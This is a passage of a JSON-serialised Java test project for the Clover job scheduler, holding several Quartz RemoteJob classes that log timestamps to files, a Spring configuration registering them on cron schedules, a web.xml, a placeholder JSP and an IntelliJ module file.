= new FileWriter(outFile, true);\r\n\t\t\tBufferedWriter bw = new BufferedWriter(fw);\r\n\t\t\tStringBuffer sb = new StringBuffer();\r\n\t\t\tsb.append(\" \\n call executeJob(JobExecutionContext) method\").append(\" Time:\" + DateUtils.currentDateTime());\r\n\t\t\tbw.write(sb.toString());\r\n\t\t\tbw.flush();\r\n\t\t\tfw.close();\r\n\t\t\tbw.close();\r\n\t\t\tfw.close();\r\n\t\t} catch (IOException e) {\r\n\t\t\te.printStackTrace();\r\n\t\t}\r\n\r\n\t}\r\n\r\n}\r\n"
  },
  {
    "path": "test-clover/src/main/java/com/gome/testclover/spring/RemoteJob3WithSpring.java",
    "content": "package com.gome.testclover.spring;\r\n\r\nimport com.gome.clover.client.job.RemoteJob;\r\nimport com.gome.clover.common.tools.DateUtils;\r\nimport org.quartz.JobExecutionContext;\r\n\r\nimport java.io.BufferedWriter;\r\nimport java.io.File;\r\nimport java.io.FileWriter;\r\nimport java.io.IOException;\r\nimport java.util.Date;\r\n\r\npublic class RemoteJob3WithSpring extends RemoteJob {\r\n\r\n\t@Override\r\n\tpublic void executeJob(JobExecutionContext arg0) {\r\n\t\tSystem.err.println(\"RemoteJob3WithSpring--->>>executeJob(JobExecutionContext) @\"+ DateUtils.currentDateTime());\r\n\t\ttry {\r\n\t\t\tString filePath = File.separatorChar + \"home\" + File.separatorChar + \"wangyue-ds6\";\r\n\t\t\tFile outFile = new File(filePath + File.separatorChar + \"RemoteJob3WithSpring\" + File.separatorChar + DateUtils.format(new Date(), \"yyyy-MM-dd\"));\r\n\t\t\tif (!outFile.getParentFile().exists()) {\r\n\t\t\t\toutFile.getParentFile().mkdirs();\r\n\t\t\t}\r\n\t\t\tFileWriter fw = new FileWriter(outFile, true);\r\n\t\t\tBufferedWriter bw = new BufferedWriter(fw);\r\n\t\t\tStringBuffer sb = new StringBuffer();\r\n\t\t\tsb.append(\" \\n call executeJob(JobExecutionContext) method\").append(\" Time:\" + DateUtils.currentDateTime());\r\n\t\t\tbw.write(sb.toString());\r\n\t\t\tbw.flush();\r\n\t\t\tfw.close();\r\n\t\t\tbw.close();\r\n\t\t\tfw.close();\r\n\t\t} catch (IOException e) {\r\n\t\t\te.printStackTrace();\r\n\t\t}\r\n\r\n\t}\r\n\r\n}\r\n"
  },
  {
    "path": "test-clover/src/main/java/com/gome/testclover/spring/RemoteJob3WithSpringAnnotation.java",
    "content": "package com.gome.testclover.spring;\r\n\r\nimport com.gome.clover.client.job.RemoteJob;\r\nimport com.gome.clover.common.annotation.CloverJobAnnotation;\r\nimport com.gome.clover.common.tools.DateUtils;\r\nimport com.gome.clover.core.job.ClientJob;\r\nimport org.quartz.JobExecutionContext;\r\nimport org.springframework.stereotype.Component;\r\n\r\nimport java.io.BufferedWriter;\r\nimport java.io.File;\r\nimport java.io.FileWriter;\r\nimport java.io.IOException;\r\nimport java.util.Date;\r\n\r\n@Component\r\n@CloverJobAnnotation(jobGroup = \"RemoteJob3WithSpringAnnotationGroup\",jobName = \"RemoteJob3WithSpringAnnotationName\",\r\njobType = ClientJob.JobType.REMOTE,executeType = ClientJob.ExecuteType.ADD,\r\n\t\tjobStrategy =ClientJob.JobStrategy.SYSTEM_CAPACITY,cronExpression=\"0/40 * * * * ?\")\r\npublic class RemoteJob3WithSpringAnnotation extends RemoteJob {\r\n\r\n\t@Override\r\n\tpublic void executeJob(JobExecutionContext arg0) {\r\n\t\tSystem.err.println(\"RemoteJob3WithSpringAnnotation--->>>executeJob(JobExecutionContext) @\"+ DateUtils.currentDateTime());\r\n\t\ttry {\r\n\t\t\tString filePath = File.separatorChar + \"home\" + File.separatorChar + \"wangyue-ds6\";\r\n\t\t\tFile outFile = new File(filePath + File.separatorChar + \"RemoteJob3WithSpringAnnotation\" + File.separatorChar + DateUtils.format(new Date(), \"yyyy-MM-dd\"));\r\n\t\t\tif (!outFile.getParentFile().exists()) {\r\n\t\t\t\toutFile.getParentFile().mkdirs();\r\n\t\t\t}\r\n\t\t\tFileWriter fw = new FileWriter(outFile, true);\r\n\t\t\tBufferedWriter bw = new BufferedWriter(fw);\r\n\t\t\tStringBuffer sb = new StringBuffer();\r\n\t\t\tsb.append(\" \\n call executeJob(JobExecutionContext) method\").append(\" Time:\" + DateUtils.currentDateTime());\r\n\t\t\tbw.write(sb.toString());\r\n\t\t\tbw.flush();\r\n\t\t\tfw.close();\r\n\t\t\tbw.close();\r\n\t\t\tfw.close();\r\n\t\t} catch (IOException e) {\r\n\t\t\te.printStackTrace();\r\n\t\t}\r\n\r\n\t}\r\n\r\n}\r\n"
  },
  {
    "path": "test-clover/src/main/java/com/gome/testclover/spring/RemoteJobWithSpring.java",
    "content": "package com.gome.testclover.spring;\r\n\r\nimport com.gome.clover.client.job.RemoteJob;\r\nimport org.quartz.JobExecutionContext;\r\n\r\nimport com.gome.clover.common.tools.DateUtils;\r\n\r\nimport java.io.BufferedWriter;\r\nimport java.io.File;\r\nimport java.io.FileWriter;\r\nimport java.io.IOException;\r\nimport java.util.Date;\r\n\r\npublic class RemoteJobWithSpring extends RemoteJob {\r\n\r\n\t@Override\r\n\tpublic void executeJob(JobExecutionContext arg0) {\r\n\t\tSystem.err.println(\"RemoteJobWithSpring--->>>executeJob(JobExecutionContext) @\"+ DateUtils.currentDateTime());\r\n\t\ttry {\r\n\t\t\tString filePath = File.separatorChar + \"home\" + File.separatorChar + \"wangyue-ds6\";\r\n\t\t\tFile outFile = new File(filePath + File.separatorChar + \"RemoteJobWithSpring\" + File.separatorChar + DateUtils.format(new Date(), \"yyyy-MM-dd\"));\r\n\t\t\tif (!outFile.getParentFile().exists()) {\r\n\t\t\t\toutFile.getParentFile().mkdirs();\r\n\t\t\t}\r\n\t\t\tFileWriter fw = new FileWriter(outFile, true);\r\n\t\t\tBufferedWriter bw = new BufferedWriter(fw);\r\n\t\t\tStringBuffer sb = new StringBuffer();\r\n\t\t\tsb.append(\" \\n call executeJob(JobExecutionContext) method\").append(\" Time:\" + DateUtils.currentDateTime());\r\n\t\t\tbw.write(sb.toString());\r\n\t\t\tbw.flush();\r\n\t\t\tfw.close();\r\n\t\t\tbw.close();\r\n\t\t\tfw.close();\r\n\t\t} catch (IOException e) {\r\n\t\t\te.printStackTrace();\r\n\t\t}\r\n\r\n\t}\r\n\r\n}\r\n"
  },
  {
    "path": "test-clover/src/main/java/com/gome/testclover/spring/RemoteJobWithSpringAnnotation.java",
    "content": "package com.gome.testclover.spring;\r\n\r\nimport com.gome.clover.client.job.RemoteJob;\r\nimport com.gome.clover.common.annotation.CloverJobAnnotation;\r\nimport com.gome.clover.common.tools.DateUtils;\r\nimport com.gome.clover.core.job.ClientJob;\r\nimport org.quartz.JobExecutionContext;\r\nimport org.springframework.stereotype.Component;\r\n\r\nimport java.io.BufferedWriter;\r\nimport java.io.File;\r\nimport java.io.FileWriter;\r\nimport java.io.IOException;\r\nimport java.util.Date;\r\n\r\n@Component\r\n@CloverJobAnnotation(jobGroup = \"RemoteJobWithSpringAnnotationGroup\",jobName = \"RemoteJobWithSpringAnnotationName\",\r\njobType = ClientJob.JobType.REMOTE,executeType = ClientJob.ExecuteType.ADD,\r\n\t\tjobStrategy =ClientJob.JobStrategy.SYSTEM_CAPACITY,cronExpression=\"0/40 * * * * ?\")\r\npublic class RemoteJobWithSpringAnnotation extends RemoteJob {\r\n\r\n\t@Override\r\n\tpublic void executeJob(JobExecutionContext arg0) {\r\n\t\tSystem.err.println(\"RemoteJobWithSpringAnnotation--->>>executeJob(JobExecutionContext) @\"+ DateUtils.currentDateTime());\r\n\t\ttry {\r\n\t\t\tString filePath = File.separatorChar + \"home\" + File.separatorChar + \"wangyue-ds6\";\r\n\t\t\tFile outFile = new File(filePath + File.separatorChar + \"RemoteJobWithSpringAnnotation\" + File.separatorChar + DateUtils.format(new Date(), \"yyyy-MM-dd\"));\r\n\t\t\tif (!outFile.getParentFile().exists()) {\r\n\t\t\t\toutFile.getParentFile().mkdirs();\r\n\t\t\t}\r\n\t\t\tFileWriter fw = new FileWriter(outFile, true);\r\n\t\t\tBufferedWriter bw = new BufferedWriter(fw);\r\n\t\t\tStringBuffer sb = new StringBuffer();\r\n\t\t\tsb.append(\" \\n call executeJob(JobExecutionContext) method\").append(\" Time:\" + DateUtils.currentDateTime());\r\n\t\t\tbw.write(sb.toString());\r\n\t\t\tbw.flush();\r\n\t\t\tfw.close();\r\n\t\t\tbw.close();\r\n\t\t\tfw.close();\r\n\t\t} catch (IOException e) {\r\n\t\t\te.printStackTrace();\r\n\t\t}\r\n\r\n\t}\r\n\r\n}\r\n"
  },
  {
    "path": "test-clover/src/main/resources/spring-config.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\r\n       xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\r\n       xmlns:context=\"http://www.springframework.org/schema/context\"\r\n       xmlns:cloverjob=\"http://www.gome.com.cn/schema/cloverjob\" xmlns:util=\"http://www.springframework.org/schema/util\"\r\n       xsi:schemaLocation=\"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd\r\n       http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-3.0.xsd http://www.gome.com.cn/schema/cloverjob http:/www.gome.com.cn/schema/cloverjob/cloverjob.xsd http://www.springframework.org/schema/util http://www.springframework.org/schema/util/spring-util.xsd\">\r\n    <context:component-scan base-package=\"com.gome.testclover.spring\"/>\r\n\r\n    <cloverjob:config token=\"6fb8535d703f2492704aefc212b7cd41\" systemId=\"testClover\"\r\n                      jobClassName=\"com.gome.testclover.spring.RemoteJobWithSpring,\r\n                      com.gome.testclover.spring.RemoteJob1WithSpring,\r\n                      com.gome.testclover.spring.RemoteJob2WithSpring,\r\n                      com.gome.testclover.spring.RemoteJob3WithSpring,\r\n                      com.gome.testclover.spring.RemoteCronJobWithSpringAnnotation,\r\n                      com.gome.testclover.spring.RemoteJob1WithSpringAnnotation,\r\n                      com.gome.testclover.spring.RemoteJob2WithSpringAnnotation,\r\n                      com.gome.testclover.spring.RemoteJob3WithSpringAnnotation,\r\n                      com.gome.testclover.spring.RemoteJobWithSpringAnnotation\"/>\r\n\r\n    <cloverjob:job id=\"com.gome.testclover.spring.RemoteJobWithSpring\" jobGroup=\"RemoteJobWithSpringGroup\"\r\n                   jobName=\"RemoteJobWithSpringName\"\r\n            jobType=\"REMOTE\" executeType=\"ADD\" jobStrategy=\"SYSTEM_CAPACITY\" cronExpression=\"0/30 * * * * ?\" />\r\n    <cloverjob:job id=\"com.gome.testclover.spring.RemoteJob1WithSpring\" jobGroup=\"RemoteJob1WithSpringGroup\"\r\n                   jobName=\"RemoteJob1WithSpringName\"\r\n                   jobType=\"REMOTE\" executeType=\"ADD\" jobStrategy=\"SYSTEM_CAPACITY\" cronExpression=\"0/30 * * * * ?\" />\r\n    <cloverjob:job id=\"com.gome.testclover.spring.RemoteJob2WithSpring\" jobGroup=\"RemoteJob2WithSpringGroup\"\r\n                   jobName=\"RemoteJob2WithSpringName\"\r\n                   jobType=\"REMOTE\" executeType=\"ADD\" jobStrategy=\"SYSTEM_CAPACITY\" cronExpression=\"0/30 * * * * ?\" />\r\n    <cloverjob:job id=\"com.gome.testclover.spring.RemoteJob3WithSpring\" jobGroup=\"RemoteJob3WithSpringGroup\"\r\n                   jobName=\"RemoteJob3WithSpringName\"\r\n                   jobType=\"REMOTE\" executeType=\"ADD\" jobStrategy=\"SYSTEM_CAPACITY\" cronExpression=\"0/30 * * * * ?\" />\r\n\r\n</beans>"
  },
  {
    "path": "test-clover/src/main/webapp/META-INF/MANIFEST.MF",
    "content": "Manifest-Version: 1.0\nClass-Path: \n\n"
  },
  {
    "path": "test-clover/src/main/webapp/WEB-INF/web.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<web-app version=\"2.5\" \r\n\txmlns=\"http://java.sun.com/xml/ns/javaee\" \r\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" \r\n\txsi:schemaLocation=\"http://java.sun.com/xml/ns/javaee \r\n\thttp://java.sun.com/xml/ns/javaee/web-app_2_5.xsd\">\r\n  <display-name></display-name>\t\r\n  <welcome-file-list>\r\n    <welcome-file>index.jsp</welcome-file>\r\n  </welcome-file-list>\r\n  \r\n    <context-param>\r\n        <param-name>contextConfigLocation</param-name>\r\n        <param-value>classpath:spring-config.xml</param-value>\r\n    </context-param>\r\n\r\n    <listener>\r\n        <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>\r\n    </listener>\r\n   <!--\r\n   <servlet>\r\n        <servlet-name>SchedulerClientInitial</servlet-name>\r\n        <servlet-class>com.gome.clover.server.module.SchedulerClientInitial</servlet-class>\r\n         <init-param>\r\n            <param-name>systemId</param-name>\r\n            <param-value>test-clover</param-value>\r\n        </init-param>\r\n        <init-param>\r\n            <param-name>jobClassStr</param-name>\r\n            <param-value>com.gome.testclover.remotejob.RomoteCronJob</param-value>\r\n        </init-param>\r\n        <init-param>\r\n            <param-name>isRegisterToZK</param-name>\r\n            <param-value>true</param-value>\r\n        </init-param>\r\n        <init-param>\r\n            <param-name>isStartupMQ</param-name>\r\n            <param-value>true</param-value>\r\n        </init-param>\r\n        <init-param>\r\n            <param-name>token</param-name>\r\n            <param-value>6fb8535d703f2492704aefc212b7cd41</param-value>\r\n        </init-param>\r\n        <load-on-startup>1</load-on-startup>\r\n    </servlet>\r\n    <servlet-mapping>\r\n        <servlet-name>SchedulerClientInitial</servlet-name>\r\n        <url-pattern>/SchedulerClientInitial/</url-pattern>\r\n    </servlet-mapping>-->\r\n</web-app>\r\n"
  },
  {
    "path": "test-clover/src/main/webapp/index.jsp",
    "content": "<%@ page language=\"java\" import=\"java.util.*\" pageEncoding=\"ISO-8859-1\"%>\r\n<%\r\nString path = request.getContextPath();\r\nString basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\r\n%>\r\n\r\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\r\n<html>\r\n  <head>\r\n    <base href=\"<%=basePath%>\">\r\n    \r\n    <title>My JSP 'index.jsp' starting page</title>\r\n\t<meta http-equiv=\"pragma\" content=\"no-cache\">\r\n\t<meta http-equiv=\"cache-control\" content=\"no-cache\">\r\n\t<meta http-equiv=\"expires\" content=\"0\">    \r\n\t<meta http-equiv=\"keywords\" content=\"keyword1,keyword2,keyword3\">\r\n\t<meta http-equiv=\"description\" content=\"This is my page\">\r\n\t<!--\r\n\t<link rel=\"stylesheet\" type=\"text/css\" href=\"styles.css\">\r\n\t-->\r\n  </head>\r\n  \r\n  <body>\r\n    This is my JSP page. <br>\r\n  </body>\r\n</html>\r\n"
  },
  {
    "path": "test-clover/test-clover.iml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<module org.jetbrains.idea.maven.project.MavenProjectsManager.isMavenModule=\"true\" type=\"JAVA_MODULE\" version=\"4\">\n  <component name=\"FacetManager\">\n    <facet type=\"web\" name=\"Web\">\n      <configuration>\n        <descriptors>\n          <deploymentDescriptor name=\"web.xml\" url=\"file://$MODULE_DIR$/src/main/webapp/WEB-INF/web.xml\" />\n        </descriptors>\n        <webroots>\n          <root url=\"file://$MODULE_DIR$/src/main/webapp\" relative=\"/\" />\n        </webroots>\n      </configuration>\n    </facet>\n  </component>\n  <component name=\"NewModuleRootManager\" LANGUAGE_LEVEL=\"JDK_1_6\" inherit-compiler-output=\"false\">\n    <output url=\"file://$MODULE_DIR$/target/classes\" />\n    <output-test url=\"file://$MODULE_DIR$/target/test-classes\" />\n    <content url=\"file://$MODULE_DIR$\">\n      <sourceFolder url=\"file://$MODULE_DIR$/src/main/java\" isTestSource=\"false\" />\n      <sourceFolder url=\"file://$MODULE_DIR$/src/main/resources\" type=\"java-resource\" />\n      <excludeFolder url=\"file://$MODULE_DIR$/target\" />\n    </content>\n    <orderEntry type=\"inheritedJdk\" />\n    <orderEntry type=\"sourceFolder\" forTests=\"false\" />\n    <orderEntry type=\"module\" module-name=\"clover-client\" />\n    <orderEntry type=\"library\" name=\"Maven: com.gome:clover-core:1.0.dev-SNAPSHOT\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: javax.servlet:servlet-api:2.4\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.apache.httpcomponents:com.springsource.org.apache.httpcomponents.httpclient:4.2.1\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.apache.commons:com.springsource.org.apache.commons.logging:1.1.1\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.apache.httpcomponents:com.springsource.org.apache.httpcomponents.httpmime:4.2.1\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.apache.httpcomponents:com.springsource.org.apache.httpcomponents.httpclient-cache:4.2.1\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.apache.httpcomponents:com.springsource.org.apache.httpcomponents.httpcore:4.2.1\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.jboss.netty:netty:3.2.9.Final\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: com.alibaba.rocketmq:rocketmq-client:3.1.8\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: com.alibaba.rocketmq:rocketmq-common:3.1.8\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: com.alibaba.rocketmq:rocketmq-remoting:3.1.8\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: io.netty:netty-all:4.0.21.Final\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: redis.clients:jedis:2.6.0\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.apache.commons:commons-pool2:2.0\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: com.sun:tools:1.5.0\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: com.typesafe.akka:akka-actor:2.0.2\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.scala-lang:scala-library:2.9.2\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: com.typesafe.akka:akka-zeromq_2.10:2.1.0\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: com.typesafe.akka:akka-actor_2.10:2.1.0\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: com.typesafe:config:1.0.0\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: com.google.protobuf:protobuf-java:2.4.1\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.zeromq:zeromq-scala-binding_2.10:0.0.7\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: net.java.dev.jna:jna:3.0.9\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: com.github.jnr:jnr-constants:0.8.2\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.quartz-scheduler:quartz:2.2.1\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: c3p0:c3p0:0.9.1.1\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.slf4j:slf4j-api:1.6.6\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.mongodb:mongo-java-driver:2.11.3\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: com.alibaba:fastjson:1.1.31\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.zeromq:jeromq:0.3.4\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: javax.mail:mail:1.5.0-b01\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: javax.activation:activation:1.1\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.apache.curator:curator-framework:2.7.0\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.apache.curator:curator-client:2.7.0\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: com.google.guava:guava:16.0.1\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.springframework:spring-context:3.2.4.RELEASE\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.springframework:spring-aop:3.2.4.RELEASE\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: aopalliance:aopalliance:1.0\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.springframework:spring-beans:3.2.4.RELEASE\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.springframework:spring-core:3.2.4.RELEASE\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: commons-logging:commons-logging:1.1.1\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.springframework:spring-expression:3.2.4.RELEASE\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.springframework:spring-webmvc:3.2.4.RELEASE\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.springframework:spring-web:3.2.4.RELEASE\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.xerial.snappy:snappy-java:1.1.1.6\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.apache.zookeeper:zookeeper:3.4.5\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.slf4j:slf4j-log4j12:1.6.1\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: log4j:log4j:1.2.15\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: javax.jms:jms:1.1\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: com.sun.jdmk:jmxtools:1.2.1\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: com.sun.jmx:jmxri:1.2.1\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: jline:jline:0.9.94\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.apache.commons:com.springsource.org.apache.commons.codec:1.6.0\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: junit:junit:4.11\" level=\"project\" />\n    <orderEntry type=\"library\" name=\"Maven: org.hamcrest:hamcrest-core:1.3\" level=\"project\" />\n  </component>\n</module>"
  }
]